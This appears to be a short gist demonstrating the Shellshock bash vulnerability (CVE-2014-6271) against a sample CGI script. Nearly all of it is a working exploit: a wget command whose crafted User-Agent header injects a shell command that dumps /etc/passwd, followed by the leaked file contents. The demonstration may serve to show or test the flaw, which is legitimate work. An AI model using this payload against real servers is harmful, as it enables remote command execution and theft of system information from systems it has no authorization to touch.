CVE-2014-6271

gistfile1.sh

$ cat /usr/lib/cgi-bin/hello.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"

$ curl http://x.x.x.x/cgi-bin/hello.cgi

Hi

$ wget -U "() { test;};echo \"Content-type: text/plain\"; echo ; /bin/cat /etc/passwd" http://x.x.x.x/cgi-bin/hello.cgi

$ cat hello.cgi
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
[...]